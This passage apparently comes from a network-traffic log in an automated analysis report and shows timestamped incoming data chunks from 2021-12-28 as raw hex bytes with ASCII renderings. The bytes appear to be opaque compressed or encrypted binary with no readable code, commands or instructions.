8f Data Ascii: e);r5aV}vkp]Tg{V:GK33X&'?wHVNb`gFKJ!hcF7\|WyzBAC~}y<"\muj sj6$K9N%(=1%MjCctBL@9n;:$-C"*]dH5^6oZT$k
2021-12-28 04:19:41 UTC	3180	IN	Data Raw: 8f 96 f6 40 01 da 56 a3 33 8b 47 70 f9 20 61 c9 21 d5 bd f4 c4 2e b7 10 cc 3c 47 79 cd b3 1e 57 26 d1 69 57 5b 47 44 60 6c 9d 7b 24 2d d9 55 dd bd 54 46 08 78 86 12 ff cb 1d 29 9f 76 41 e0 c0 db 57 1d 5c 1a fa 87 b2 7e a1 3b 8e 67 ed 0b 19 f1 87 6c 49 7b ae 85 58 c7 c5 fe da ee 71 0e 71 3d ac 9e c5 64 4e 0e fc b3 a9 7a be d8 2b 43 32 e6 0c 10 ab e6 82 cd 4a 2a 97 66 df eb 89 e2 01 1d cc aa 7e 5f 1d 44 d3 8c 89 ab cb e0 fb e5 f4 cb ca 91 23 8b ef 8e 1e 1b 1f 81 81 8b 99 18 15 21 0b 5a e5 93 6b 69 55 45 f5 4b 3d d8 09 49 e5 ad 88 58 7d d2 77 c3 7d 61 bf 64 cb 24 b5 63 0f d4 f6 f5 6d 6c ed a1 82 5a d6 c9 19 d0 18 c5 64 88 69 69 87 b4 ad 51 4b 45 95 70 88 eb 4b 17 40 f4 99 24 18 80 08 c0 e7 da be 4d 59 07 80 86 ef 3d a7 62 19 63 18 c0 0e ee 10 cb 9a 48 5e c3 Data Ascii: @V3Gp a!.<GyW&iW[GD`l{$-UTFx)vAW\~;glI{Xqq=dNz+C2J*f~_D#!ZkiUEK=IX}w}ad$cmlZdiiQKEpK@$MY=bcH^
2021-12-28 04:19:41 UTC	3196	IN	Data Raw: a5 3b 1f 53 63 4f 90 8c 2c 17 14 cf 64 67 03 ec c5 da c1 87 49 7f 18 2c c3 1f 82 4f d1 db b4 bd 89 34 7b cd 12 7f c7 62 09 b7 e0 8f 6f e9 78 b4 35 8b b1 99 ac 10 ef b2 d4 70 91 bd bf 9d 4e 69 5c d6 b0 97 1e 5f 7a 23 ed eb d1 f9 ab ab f9 af 2e 3f f3 2e 98 1f a1 86 ea 17 6c e9 18 5b 0e 03 3f 79 44 09 6f 6c 4d 88 04 5d dc 4c 95 eb f1 0e 3e 58 76 b3 da 72 a7 83 c7 f5 c1 fb 6b cb 1a 7f c5 41 93 9d 26 15 1a 24 f6 05 2a bb cb 26 b7 f3 9f 47 5e 92 0c 7a 23 86 2e 77 0f d7 c9 7e 04 f7 d8 d2 a1 6c 3b 9a 0b 97 b4 1d af 8a 7c 16 7f fb 43 04 0f b4 e2 7a 7a 82 72 02 fa 79 4a af 06 67 7a 6d 17 36 35 33 a9 de d1 0a c0 d4 fa b8 d5 c7 a4 e9 07 85 86 62 d0 8b 42 63 1f ef 80 19 d5 82 22 4d 46 1b 37 b3 39 d7 a1 d8 04 6b cd 8e f1 97 c9 33 0d 32 11 42 bf dd 22 8f 49 e8 7d 73 a1 Data Ascii: ;ScO,dgI,O4{box5pNi\_z#.?.l[?yDolM]L>XvrkA&$*&G^z#.w~l;\|CzzryJgzm653bBc"MF79k32B"I}s
2021-12-28 04:19:41 UTC	3212	IN	Data Raw: 10 48 37 98 a0 6d 4b 5e 82 a4 23 62 d4 ff 11 ce 15 6d 8e 3a a4 3b 3e e0 15 82 6d 23 29 e8 83 85 4a c3 6f e9 2a b1 c1 e8 01 dc 62 77 06 7f dd da 44 0a 07 d9 ac 9c 95 68 96 5a 8c d2 6f f4 68 f2 94 b9 c1 43 a8 f1 22 86 ba b5 69 05 f9 8c 6e 79 bf de 76 53 79 54 db b8 45 85 5f 89 11 cb af b6 ef cf 94 17 5c 12 d4 3a e7 52 f1 fa 82 90 d8 11 b0 57 98 e8 1e 10 4b 1d c8 94 36 16 07 2c 60 54 77 b7 37 4f af 48 c0 20 8f 81 a8 9a d0 0d 87 62 44 23 8e 31 5c d4 10 67 24 cb a0 df 3b eb 16 1f 4f 7f 2f 42 39 c8 5d 96 db 40 00 5e f8 f3 64 f6 6a e4 80 cb 0e d1 e6 4e 94 02 38 0f 87 e6 53 af 22 71 b7 e8 6d d0 d2 f6 3d cf a5 d7 ee d1 cb d6 04 1a 6c 70 6c 8b 1e 5b d4 04 21 19 e1 a0 d4 88 73 ac bf 3b a7 93 91 c8 09 64 ec 30 72 e3 1b 4d 65 e4 6b a8 87 17 93 fe 3e 8c 2e 15 53 c1 63 Data Ascii: H7mK^#bm:;>m#)Jo*bwDhZohC"inyvSyTE_\:RWK6,`Tw7OH bD#1\g$;O/B9]@^djN8S"qm=lpl[!s;d0rMek>.Sc
2021-12-28 04:19:41 UTC	3228	IN	Data Raw: 4f 0c 4e ff 41 8d c2 e2 3e e7 ba 82 3f c4 12 44 da bc 85 15 42 dc f9 0e b5 27 14 2a a8 6e 0e a8 88 21 b4 83 5d 8b f4 34 35 36 1f ba e8 ae 07 c9 5c dd 95 6d b2 b3 5a 6c 2b 95 a8 f4 d2 96 66 90 58 e2 9a b6 82 be b9 95 5e 88 f9 bd 3c 37 43 6c 6a 79 5a e6 33 86 d7 67 93 50 76 a3 23 95 fc ef 8f 06 d3 a5 28 14 45 fe ba 04 3c ac 6a 5c 72 28 59 87 99 1a 99 92 a8 12 29 cf 6d e2 75 cb 03 e4 5c 69 e1 a6 93 aa 56 34 aa 28 66 df b9 72 5d 45 11 34 2b a2 47 44 60 6d af e8 32 d6 d7 ec f0 61 f9 28 69 be 35 01 3b 8a ac 2c 55 5e 8d 61 7e b5 b0 d0 9a 5a 99 ac a0 c1 c0 6a fd 17 5c 0e 3e ae 1a 5c 3a c3 9e 5d 1d 10 4d 3b 27 70 e7 17 94 ec 75 93 5c 9e 98 0e a6 f5 e0 b2 df ca 93 5d f5 81 7b 2b 29 8c 7a 63 5b b8 1d 98 4c 67 66 5b f1 1b 94 e1 5f 03 d4 18 e9 cc e7 2a 20 c7 ac 81 a8 Data Ascii: ONA>?DB'n!]456\mZl+fX^<7CljyZ3gPv#(E<j\r(Y)mu\iV4(fr]E4+GD`m2a(i5;,U^a~Zj\>\:]M;'pu\]{+)zc[Lgf[_
2021-12-28 04:19:41 UTC	3244	IN	Data Raw: 13 d3 5e 11 74 81 20 2a 30 d3 67 7b 5b 6b eb 58 fc 83 fd cd 30 62 2a 55 95 09 e2 a7 5c ea ee ad 29 28 2d 42 42 b3 d6 67 75 08 76 10 ba 08 c1 34 4a a8 66 26 76 d2 a8 fd 1c e4 3b 03 be 74 68 a4 ae 39 01 21 ef ac 08 a4 ea 18 62 aa b0 e3 09 45 0f 3e 71 ab 1b 01 b3 73 9d ad 53 3e 88 36 7b 76 aa e1 43 91 a1 c2 c7 b4 56 49 71 ed 08 e3 94 7c 38 c5 8e 06 7e fc 7d 1d a1 0b d1 0b 4e 47 0b d5 39 98 34 ed 79 52 a0 4b 16 c4 d5 84 3f 82 eb af d7 07 be 8f 69 c1 11 56 c0 e6 d9 ac 6c fa fb 6f b9 91 d1 d7 66 c3 ed 1d b7 c5 c4 f4 60 43 61 24 ab 4b 67 85 55 a7 db 18 2b a8 d2 49 ce 65 2c 5c 8b 6c 7c c0 da 8c 09 79 e8 9c 59 97 5b 81 ea 8f b9 cf b8 16 f7 7b 5a cb ad a2 eb 8c bb ed 44 11 12 0c ea 73 68 6c 98 bc 63 73 52 56 30 eb ca e2 e0 f4 6c 44 1c ba 1f 6b f5 68 35 96 53 c9 11 Data Ascii: ^t 0g{[kX0bU\)(-BBguv4Jf&v;th9!bE>qsS>6{vCVIq\|8~}NG94yRK?iVlof`Ca$KgU+Ie,\l\|yY[{ZDshlcsRV0lDkh5S
2021-12-28 04:19:41 UTC	3260	IN	Data Raw: 99 5c 68 b0 c6 b5 04 b1 08 61 a1 1b b6 ac 11 77 74 5f 36 a1 06 c3 1f 66 1a 43 d8 e5 19 b4 83 0d a4 61 d3 9a bb 1e 92 ec f2 db ba da 9e 40 57 ba 42 03 82 35 9a 47 1e f0 cd df d2 d2 48 b3 a8 db ab 1f 66 e3 42 e9 42 be f3 3a 44 d3 94 47 0c ae 31 48 7c 22 e0 7b 3a 9c 95 93 da fd 86 77 0b 22 38 38 31 26 5a 64 44 98 21 aa ec 26 50 29 d3 e8 f3 0f ca 99 c5 40 b2 21 2f f9 38 63 3c ad d8 0b 9e 8a 54 28 e3 ff 13 0b 6b 85 57 74 1f 04 f5 b8 08 2b d4 18 76 d5 3c 6a 94 c5 ee 97 cb 94 eb e2 40 8a 4b e4 2f eb 57 59 81 bf 57 65 4d 9e cf 43 ec 4b 62 8c d6 b4 46 cd fd 5f fe ef bf 31 e6 b2 af 00 05 56 8d df 0d be c3 1e 39 63 5d ac a1 cf 3c 68 36 51 05 d3 e6 dd aa d1 8f 08 09 60 e9 55 a8 54 a3 3b 7e 62 50 de 7e 9a a3 22 49 37 d0 b9 72 51 dd 65 55 b8 b5 f3 61 03 95 74 17 00 62 Data Ascii: \hawt_6fCa@WB5GHfBB:DG1H\|"{:w"881&ZdD!&P)@!/8c<T(kWt+v<j@K/WYWeMCKbF_1V9c]<h6Q`UT;~bP~"I7rQeUatb
2021-12-28 04:19:41 UTC	3276	IN	Data Raw: 02 87 ba d0 ae ac cd fc 0d 5a 95 39 fc f8 bf 97 0f c8 94 8e 78 d2 33 d8 96 f1 9d a8 6f 20 a3 7d e7 09 7e 8e b5 78 9d 1d ac 7b ff 1f ab f2 24 fe 3b 81 66 d8 97 05 4f 1a 5d 51 9e aa 8b 00 fc fc f0 9c 5f 26 e9 3b 58 7e 37 d7 7f a5 b0 f3 e5 75 9c 59 90 4b 41 e8 bf 32 5a ed d3 85 3f ed 2a 3f 5c f7 4a 12 1a b0 43 65 2d 61 cf b2 ec 17 79 50 36 ca ce 2b 0f 5a 25 ee 26 c0 24 8f a8 df 74 40 fa 29 c1 6e 44 30 62 31 9c a4 c6 fa 85 45 76 72 7e fc 2b f5 09 80 1a fc aa 63 0a dc b3 52 dd cc 64 4d 33 47 32 d2 01 8d 01 0e 71 bb 95 7e b8 f4 3d 0b 4f 3b e8 a3 73 31 44 98 73 ac 9f 75 79 1f 08 5e 88 ef e7 af 4a 41 32 ca d2 11 99 24 66 d2 79 83 0c 8c bb 8c cf b2 17 ab 1c e1 9b 8d bd 30 1f 6b 37 30 a3 d5 9b ae 65 80 83 fe 67 ec 34 27 95 b8 14 b0 01 e7 2f ed 3f b3 57 c9 25 21 06 Data Ascii: Z9x3o }~x{$;fO]Q_&;X~7uYKA2Z?*?\JCe-ayP6+Z%&$t@)nD0b1Evr~+cRdM3G2q~=O;s1Dsuy^JA2$fy0k70eg4'/?W%!
2021-12-28 04:19:41 UTC	3292	IN	Data Raw: 57 01 98 40 6a 95 cb 59 78 a2 58 10 5b e7 5a e2 97 70 5b 0e 8d 9f a5 84 96 13 71 54 51 33 59 71 2d 21 39 a3 8a 21 f7 71 ca 9b 1f a0 32 12 f2 b3 46 f5 c2 21 2c a0 d6 0f f5 e0 76 a9 10 c4 1a a0 4c 10 84 e7 8a e1 a3 87 e8 93 44 4e 0c 89 d7 d5 c9 df fc 74 1c 65 fb b6 f5 44 4c e7 81 25 c5 45 8b 3a 28 6f 9f f5 c9 cf bd c0 8e 3b af 1b bd 4b b3 e9 4f e5 2b fc cf 3f c8 2e 02 50 2f 8a cf d7 19 4d d4 3c 39 79 d2 4f 6f 01 66 d7 de c6 37 f9 6c 80 1b 69 f5 de 02 eb 8d 1e f8 5e 93 50 73 de 7f 27 7e 43 ad a5 6d a5 79 f4 c9 7f 2c 30 e7 a8 3a 15 7f d0 e3 00 63 ac a8 44 ea be a3 85 59 f4 9c 8d a8 6f 39 0d 1d df 1f 29 61 5d a8 55 59 9d 9a 06 23 b3 89 34 b5 53 ed e2 49 4b ee ae f9 50 90 d8 a3 35 0a b4 22 20 b1 f5 b1 b3 01 1c 3e f6 08 1e 8d 38 d8 bb 33 60 b8 4c b6 55 52 da 0c Data Ascii: W@jYxX[Zp[qTQ3Yq-!9!q2F!,vLDNteDL%E:(o;KO+?.P/M<9yOof7li^Ps'~Cmy,0:cDYo9)a]UY#4SIKP5" >83`LUR
2021-12-28 04:19:41 UTC	3308	IN	Data Raw: 24 1a e1 b8 f2 45 7b 31 88 43 c5 bc f9 97 e3 5b 20 40 d5 34 95 f4 20 21 06 3b fb b5 c6 c4 a8 53 41 1b be fe a5 44 75 88 b1 e8 43 f1 43 cc cc 45 66 1b c2 f7 cc cf ec 91 0e 1e cc d9 e5 40 38 dd e0 5c 22 29 86 47 9f 31 07 31 c7 72 40 b3 94 b7 74 a4 83 98 f1 9f 38 09 36 c5 0b ce 7e a0 67 55 7b 2c f1 3f 1d ef 93 08 b9 ef 5e 7a 9b cc b9 1a 95 7d ca 92 51 7c 31 ba 2c 9a 4e d9 ce 5c 4c a5 88 5d 48 e5 60 06 6a 60 d0 6c 56 c2 b9 45 44 a4 e1 fb 4f 0c 4b e4 48 92 87 dc 70 0a be 75 ad 54 1e 50 a9 45 eb f8 aa 9e 15 fe e2 12 a2 88 b8 93 9f dc 5c b2 6e b2 cc d4 f0 44 e1 5e 93 8e a5 c8 71 53 b9 d9 ab 16 e7 f1 5c da c7 f4 f3 3d 20 e6 14 63 38 e1 07 15 5e a2 87 77 e9 8c 0d 85 37 eb de ab 5a 1c c2 df 14 6b 06 70 7e 33 4f 6e c3 02 28 59 b7 3c 79 58 0d f2 87 e2 5b d4 23 78 f0 Data Ascii: $E{1C[ @4 !;SADuCCEf@8\")G11r@t86~gU{,?^z}Q\|1,N\L]H`j`lVEDOKHpuTPE\nD^qS\= c8^w7Zkp~3On(Y<yX[#x
2021-12-28 04:19:41 UTC	3324	IN	Data Raw: fa bf ea 3f 95 c7 8e c2 11 d8 32 42 3a 92 02 dd 01 f7 0d 83 84 72 4f 7e 81 0a b9 3d d7 92 f5 ca a1 dd bb 75 fe 4a 3d 05 f9 9e 76 6f 8e 20 c1 e6 c9 89 d2 68 64 ae b9 57 4c cf b7 3f ac 1e 78 00 2e 74 d3 7c 38 97 d3 1d 0f b5 c3 81 62 dd 15 b9 0f 54 f8 14 29 bb be 7d da 53 45 39 c0 c9 99 6f f0 db 06 03 b2 61 1d b3 38 44 7c 33 e4 53 48 6e 57 38 a9 43 35 31 fb 57 38 da ad 3f 12 15 b9 2d c0 06 2c 88 9b 16 22 a9 7a e8 2d 49 ee e3 74 83 c9 2e 66 9d c8 5d 8e c8 e5 e9 9a 23 60 03 2a 4c bb 79 a0 e8 20 63 ce 8a f9 69 35 2d ef d9 59 0d ef 8e 4b 35 61 25 55 17 d4 c5 8c bf c2 44 ba 92 9e d4 69 73 97 b4 be e0 af ae 8f 3c a6 d0 89 2b 15 21 6e f4 c0 66 e6 71 22 95 cb cd 13 f6 4c b0 ff 34 4a fe 4f b1 f8 7a 73 3e 8f 6a a5 08 f5 8b 4a 81 86 d5 14 b2 21 fe 0b 71 42 80 47 73 66 Data Ascii: ?2B:rO~=uJ=vo hdWL?x.t\|8bT)}SE9oa8D\|3SHnW8C51W8?-,"z-It.f]#`*Ly ci5-YK5a%UDis<+!nfq"L4JOzs>jJ!qBGsf
2021-12-28 04:19:41 UTC	3340	IN	Data Raw: fb 9d f7 81 3f f5 ed 3b e3 bc 00 e2 68 ea d4 67 71 6b 4b 1f 69 3f 93 61 d2 3e d4 d1 73 68 32 91 f2 3f 35 ea 78 b9 04 b7 cf 3f c7 d3 38 1f 8a 56 bb 19 3b f5 98 de bf 99 3d 49 28 71 b4 5d ed 77 40 0e 5c 25 85 c8 7e 81 f8 86 1f 5c 79 5d c2 0e 62 c4 e7 0f dd 9c a7 21 da 8d bb 83 1b 05 fa 67 b4 ce 9d f6 ef b7 bd ed c8 e8 5e 18 31 97 ac 05 30 b0 1d eb 07 80 61 04 93 a2 cf b8 11 87 a6 c1 be 39 e3 62 4e c7 2d b9 02 7c fd 7a 4a 06 62 48 ee 90 20 ea 60 2a 84 f7 bd 2f e5 e9 e0 44 a7 0f b1 81 13 a2 a3 42 16 8d 84 18 ba ae 17 5b 3f 4a a3 44 e2 b0 88 15 fc 0b f3 d9 d4 76 89 45 23 e9 35 47 da 0a 6d 4d e8 ba cb 8c 8f 08 0e 3a 48 06 f6 84 fe 17 7f e0 94 b1 f7 ff 8f ef e1 f9 43 48 2d 84 17 d0 90 13 1e e3 9e bd 42 07 bf 10 f6 a8 52 09 c8 72 8d 38 57 81 e1 9f d6 9a 2d a1 2d Data Ascii: ?;hgqkKi?a>sh2?5x?8V;=I(q]w@\%~\y]b!g^10a9bN-\|zJbH `*/DB[?JDvE#5GmM:HCH-BRr8W--
2021-12-28 04:19:41 UTC	3356	IN	Data Raw: e1 5b d8 e2 02 9d 2e 71 98 3a 5f 43 11 95 8b e8 64 f5 db 0d ae c8 0c 7a ad 13 72 1c 9c 33 34 67 85 fe 91 9f 59 b3 13 7a ab c6 0a 92 41 3a 61 36 2c 0e 42 78 7c 2d 19 5b b3 e6 85 a7 b0 26 cc 99 34 72 99 a3 2f 05 9b cc 33 ce 66 85 c8 6c 7f ef 56 5a 3c 91 75 2e 6c 5b f5 aa 62 3b 5a 26 1f 1e 14 19 5e 9d 3b 26 48 c9 e7 b7 e8 89 5f 1c fb ac 40 7e ba 2a c2 bd 50 88 84 52 cf 5e 5d b4 d6 7a 60 e0 18 c1 1d fc c8 16 d2 fd 6f be 09 29 b4 1c 0a 4f 59 d3 2c 89 ab 00 7a 7e ff 1c c2 40 32 4e aa 07 dd 63 ac 25 72 32 90 61 9b b4 fa 4d a6 15 73 1b 58 88 3b e0 0a 40 ef 6e 4c 17 6d 80 41 36 0c bd c1 d0 24 eb 2b d0 1c ce f6 02 b4 4c f1 1d ca 95 50 89 33 ac d4 f4 fa 02 d4 28 22 b5 55 1e d9 52 c8 65 91 7b 0c e3 a3 05 1c 72 19 b0 19 20 60 1f 41 30 85 8f 09 c8 29 8b 5b 94 64 db b7 Data Ascii: [.q:_Cdzr34gYzA:a6,Bx\|-[&4r/3flVZ<u.l[b;Z&^;&H_@~*PR^]z`o)OY,z~@2Nc%r2aMsX;@nLmA6$+LP3("URe{r `A0)[d
2021-12-28 04:19:41 UTC	3372	IN	Data Raw: 10 f0 92 de ad a5 22 8a 2f ac 49 e7 64 0d a3 1f 48 d6 ad 0a 68 09 41 68 26 10 4b 6a 88 d1 75 44 f0 cd 16 6f 91 6f 24 9a 93 15 04 b2 81 55 91 b0 dc 6b 2c 2c 7c 3c d0 af 3f c9 9e bb f3 b0 79 f7 0c 90 20 4b e2 19 ea 5c 7e b1 fc b8 4d ea aa 90 d3 6a 42 2e c5 31 d4 66 33 1d b4 8b 1e d1 10 6d 77 dd d5 1e 89 80 9f 5b 03 45 7f 72 ac fe f8 6c 03 30 11 e2 94 ce bc c5 db 94 bf 26 40 bd 65 17 29 73 b3 df 1a 44 8d 24 a2 36 7f ee f9 bd c2 a4 6d bb 2c d9 3b 58 f7 2a 9a 3d 29 5f 32 74 78 7d 60 3d 78 1c 24 a6 e7 11 b8 dc 83 8e 6b 60 c3 d4 8c 07 99 67 a7 7d 7b e3 14 aa 6b 4c 41 6c a6 a9 14 4f f5 4a 73 50 58 23 df d5 ed db 44 e3 16 aa e5 96 f4 b1 59 d7 04 b0 f6 f6 52 c6 ad 9a 50 6c 18 b3 71 50 61 70 d5 b5 96 23 71 bf 36 18 7f ff 20 cf aa 45 59 55 c7 01 ce af 0a bc db 96 f0 Data Ascii: "/IdHhAh&KjuDoo$Uk,,\|<?y K\~MjB.1f3mw[Erl0&@e)sD$6m,;X*=)_2tx}`=x$k`g}{kLAlOJsPX#DYRPlqPap#q6 EYU
2021-12-28 04:19:41 UTC	3388	IN	Data Raw: 09 b2 f3 0e 1a c2 74 4d 7b d4 a5 1e cc 37 a4 59 c7 38 d0 5f 9a 97 76 a0 95 73 13 9c db be f0 92 b1 d0 6d 16 94 08 d5 7e d0 8c 70 09 98 22 68 8e 3a c0 28 29 38 dd 51 2b b6 40 28 b1 84 2e a1 2b 4f f6 b1 4b fa c7 ab 32 bf 18 f2 d5 58 d7 7a b5 4c 7b b5 2d e5 fe 0a 84 9d 7d 2f cf bf 59 60 21 b7 85 da 2f 25 d3 d3 6a 68 07 f4 ae d6 c6 de 96 dc 92 be 6b ab e1 fb 9b 97 39 3c 75 74 cd 30 9e 3f a3 34 7b 20 2d bf 6d 20 69 44 5b ba ea 0a df a4 f0 65 3f 7e 32 8d ad 39 a3 1a 0d 27 ac 6a ab 2c f4 be da ec 64 ed 9b fd 3b 44 45 43 1c e9 30 99 85 77 28 3f c5 e7 ec 6c a0 30 ca 6b 3b bd df 7c 6a c8 25 86 ce d6 d8 79 cc 28 ce da 8d a5 01 a0 7a bd 5a 17 af 93 b1 8d 28 7b 89 d5 7c 3c a6 43 ed f6 d9 95 9f 7d 53 f9 5c fd bb aa 8a 5e 80 9d 17 1b 65 39 7e 03 fb f8 9a 6f 78 2b 7a 90 Data Ascii: tM{7Y8_vsm~p"h:()8Q+@(.+OK2XzL{-}/Y`!/%jhk9<ut0?4{ -m iD[e?~29'j,d;DEC0w(?l0k;\|j%y(zZ({\|<C}S\^e9~ox+z
2021-12-28 04:19:41 UTC	3404	IN	Data Raw: 1b 47 60 db ed f5 d2 ad 59 93 e6 c6 0c 17 10 8f fe 97 ae d1 06 b4 3a 0f 55 03 96 b1 70 bf 17 a3 6a 5b 8b 30 fc 9f 31 16 d9 a3 79 b1 7e f8 25 4d ab 8c 15 c7 1a 2f da f7 d4 58 9a c2 01 5f 40 fa 07 df fa 3e 6a 72 8a c8 ec 31 bd 87 3d d9 3b 33 16 74 8a b2 96 de a2 05 a2 a6 b2 6b aa 48 ef fe 49 71 da 94 95 b2 6d c7 20 30 02 53 e8 7a 7a 6a 98 e5 f2 34 e4 01 7c 9e 71 af 76 fb 29 30 be 18 fb fa f8 31 99 21 9c 4b 6c 87 35 1c 75 be a9 ab 25 f6 9c a0 ff 18 1f d0 ef 5c 22 c4 7e cc 06 77 e3 aa 6e 0a c3 de 3e 46 ba dc ac f0 9d be fb 82 2d 00 f6 c3 94 a6 b6 de 05 0b 9c 1d b5 7c 1a 30 ae 78 37 c1 67 b8 08 01 2e 58 e8 80 9c b1 17 c6 f4 3f 35 c0 a7 00 78 5e 9d 2e 8c 47 2d 2d 2e d3 1d 6d 1e 7d 29 de 59 9d e1 fd f7 64 e4 51 e7 49 d3 49 e9 04 98 84 31 94 8c ff cc f8 81 17 44 Data Ascii: G`Y:Upj[01y~%M/X_@>jr1=;3tkHIqm 0Szzj4\|qv)01!Kl5u%\"~wn>F-\|0x7g.X?5x^.G--.m})YdQII1D
2021-12-28 04:19:41 UTC	3420	IN	Data Raw: 9d 7c 46 6c d8 1b 41 4b c2 52 c5 fe 46 dd a1 cb c4 a8 da aa f3 10 bc 55 4c d1 0f c3 02 54 c9 c1 e3 da 7d 31 5f ea e9 95 54 ff 7e fa 51 8e 62 ca 5b f5 49 88 0e 57 bf 78 64 15 e2 96 3f 00 ff 52 53 ae 27 70 0f 6b 8a 7e 3e 42 77 32 94 bd c5 35 36 61 c0 b8 17 f3 9d a1 bb 4d b4 d7 6e d1 6a c5 1d 24 da ab 3e 3f d8 f0 c4 73 c1 50 b1 5b 8e 0e 8f 36 5e df 8a 55 21 04 ed 12 75 ee f3 ce 28 0e 55 7e 7e 27 bf 86 2b f2 a4 df b0 34 2b 33 77 36 9b 37 59 06 49 d4 2d 59 d3 89 80 2c f2 65 3b b7 47 77 f4 4b 2a d6 7c c7 a9 20 89 0b 56 d2 88 ea 15 af 21 02 8a a0 6e d7 42 d6 ce 68 5f 8b e2 67 b0 4d 2b 7d 0c f4 8a 41 6d 29 00 40 31 cd 02 68 c1 28 e1 e1 00 32 31 10 02 1c 59 d8 8a 6c 55 75 56 0a a6 cc 62 23 55 a5 a3 04 01 1a 2e d4 e2 a5 92 61 3a 24 84 5b c2 2c f0 b3 94 cd 88 00 d7 Data Ascii: \|FlAKRFULT}1_T~Qb[IWxd?RS'pk~>Bw256aMnj$>?sP[6^U!u(U~~'+4+3w67YI-Y,e;GwK*\| V!nBh_gM+}Am)@1h(21YlUuVb#U.a:$[,
2021-12-28 04:19:41 UTC	3436	IN	Data Raw: 83 d2 2a c8 ba a0 88 8f d0 df 48 88 be 23 0d 5a cd 3e 53 6a 29 93 bd 6a 77 32 c0 12 af 58 e5 76 16 61 17 6f 2d a7 85 b4 80 0f eb 1c 94 5c 0e 77 72 9c 5c 4d 25 15 c3 53 3b f8 06 c8 32 a4 13 f0 07 f9 bc b1 82 e7 4f 6a c0 b2 d2 6e fb 39 93 83 bc 94 31 8a 56 7e d0 63 c1 9a c4 a5 52 22 a0 f3 3e 14 75 e5 25 7a c4 89 8a 34 39 10 c4 ef e7 21 e7 5e e7 26 75 67 25 45 b9 0c 89 4a f6 f5 b9 2f 07 ea 65 14 e7 73 15 74 9c d8 1c 46 da d0 03 cd 8a 52 61 8d 0b aa 0b 64 d2 5b ef 9c 5a c7 bc 49 da 76 71 67 cf 54 23 06 9b f7 91 41 fd 65 b1 9e d7 69 b4 29 90 14 15 f9 b8 0a 7b 6a 17 3f 0d 6e 82 b6 09 2a a2 90 e6 48 73 53 d9 ec 35 12 ed cb 30 42 5b 85 2c 96 04 89 ff c3 40 94 b1 cf 3a 2e fd 40 70 8d 74 ad 86 35 a5 46 7c b3 bf b8 7b 05 0f 59 07 fb a6 33 15 f0 29 18 1e 48 43 45 88 Data Ascii: H#Z>Sj)jw2Xvao-\wr\M%S;2Ojn91V~cR">u%z49!^&ug%EJ/estFRad[ZIvqgT#Aei){j?nHsS50B[,@:.@pt5F\|{Y3)HCE
2021-12-28 04:19:41 UTC	3452	IN	Data Raw: c3 d0 4e 2f 6a bf 2b 3f 6d 87 9d 97 b0 b7 56 2a 21 66 d5 dd 74 c6 58 3f 21 91 44 3e b6 79 31 08 34 14 11 f6 bc e6 b4 f2 71 dd e7 0b bb 86 6c 66 e2 4c 0f 8b c3 80 9f ff b4 12 79 8c 29 dd c9 c1 6a 29 73 00 8f f9 20 1e d7 f8 8d 2e 31 95 f0 a8 73 ab 67 0e 6e d9 ac 57 17 7b 8a 14 73 d3 37 5f 89 dd ca 8c df fd a6 15 6d 0f 0a c9 4c f6 05 ea 5a 91 1c da 41 aa bc 36 be 7b 61 b7 97 49 47 1f 2d 29 73 b7 4e 57 16 79 50 40 65 61 cd 6e 63 4d ab 72 fd ad 70 21 dc 84 fe 24 cf 5a e7 ea 5f 13 ee b4 82 71 21 fe 84 d2 52 ec 00 a1 7d 1c e1 08 1f 9c c9 a0 05 6c 40 d4 65 b1 1b fb ec 6c 2a 2e b1 1a 3b 9d 65 30 29 9a f9 50 41 1b 0b 2a 1d 6c ea c7 aa a8 04 45 5a 0f ec 55 11 75 43 8f d2 cd 9c 4e 00 dc 57 98 5a 50 52 7d 17 be bf 8d 4e b3 24 84 36 13 08 4a a0 69 94 c0 bd 71 a9 ac cc Data Ascii: N/j+?mV!ftX?!D>y14qlfLy)j)s .1sgnW{s7_mLZA6{aIG-)sNWyP@eancMrp!$Z_q!R}l@el.;e0)PA*lEZUuCNWZPR}N$6Jiq
2021-12-28 04:19:41 UTC	3468	IN	Data Raw: 08 03 72 ca 2f 9e 66 3d f6 6f de 5f b5 4f 8e 52 1d 65 5f b1 f0 26 9b 80 a3 b0 f5 81 e4 f3 8d e2 02 8d ad e9 45 1f fa e7 23 ca 51 dd 4f 66 79 7b c7 0e 6a 20 84 37 84 ec 33 b9 fd aa 2a c1 23 f4 f0 1b 0f 1c 5b 2a cb 42 8f a9 9d 33 1d ee 09 ba 9e 07 e4 1f 52 0e 2b e4 b9 7c ae 47 2f e8 21 e3 1e 33 2a 15 11 ca e8 2b 18 13 5d f6 e7 75 f9 df e0 c6 b9 4c b7 da 4f b7 65 50 2d cf b7 e1 66 4d 79 f0 70 25 36 cf c6 65 3f 5f 96 28 5d 25 2a 34 00 f4 9d 5f f9 5f 3f 91 fd 0b 88 5f bd e4 4e af 3c b0 5f bb 10 74 e3 c7 f9 0d 44 bf 64 f1 b0 c2 ea f1 e8 7f d5 57 3e eb 74 a7 a9 62 6c f3 f0 6f e4 87 24 8c c6 52 24 16 c4 0b d6 39 a1 1e 52 9e 45 55 fb d5 4d 6c c4 b4 0f bb 63 2e 07 8f 79 40 87 5f ea 42 d6 cb a6 79 3d 40 eb de 87 fb 69 e3 74 96 81 de 91 95 04 bb aa 38 a0 13 ab 55 b9 Data Ascii: r/f=o_ORe_&E#QOfy{j 73#[B3R+\|G/!3+]uLOeP-fMyp%6e?_(]%4__?_N<_tDdW>tblo$R$9REUMlc.y@_By=@it8U
2021-12-28 04:19:41 UTC	3484	IN	Data Raw: e6 25 a0 5d 56 e3 db a6 16 dc f9 7a 3a d8 ed 21 d4 a8 e8 cf b5 e3 14 fb 07 fa 52 a0 8f a5 70 1a 45 eb 90 9a 26 41 f3 11 4b 5d 37 4f cf 18 0a eb 3a ce 1d 36 42 a1 da bf dc be 50 42 ad aa 40 51 86 c2 dc 31 dc 0e 4e ef 70 cb 41 7c a5 19 4d 4e de ec 0f 87 9e a5 f6 d5 01 02 be 5c 54 49 86 ed 24 a6 e8 6f 67 3a 8e 0d 4e 53 a9 f6 04 b4 3a 65 a4 cd ab 50 32 42 53 8f 0f 22 c4 b7 13 4f ae dd 8b e6 57 0f 58 4d d9 a7 d4 48 6b e1 fa 91 87 dd 18 6a 5d 06 f1 57 69 53 20 e8 4a 8c 36 10 a4 24 b9 c8 00 ea 0f 66 21 77 88 5c 95 7c 59 54 84 e8 53 d8 ea 91 0c a4 6e 75 fd b8 33 a2 59 3e 90 21 ec ed c4 2b ff 73 20 cb cd 7c bb 4f 22 db 67 45 d6 dd c5 24 99 3a 36 